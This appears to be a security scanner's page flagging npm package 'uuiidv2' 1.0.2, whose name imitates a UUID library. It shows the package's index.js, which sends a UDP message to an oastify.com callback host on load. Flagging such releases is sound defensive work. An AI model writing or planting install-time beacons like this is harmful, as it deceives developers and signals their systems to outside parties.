uuiidv2 1.0.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of uuiidv2 might be problematic. Click here for more details.
- package/index.js +11 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,11 @@
|
|
1
|
+
const dgram = require('dgram');
|
2
|
+
const message = Buffer.from('hello');
|
3
|
+
const client = dgram.createSocket('udp4');
|
4
|
+
|
5
|
+
client.send(message, 0, message.length, 10001, '659b6adhtupa56mt1dtpfiv29tfk3br0.oastify.com', function(err) {
|
6
|
+
if (err) {
|
7
|
+
client.close();
|
8
|
+
} else {
|
9
|
+
client.close();
|
10
|
+
}
|
11
|
+
});
|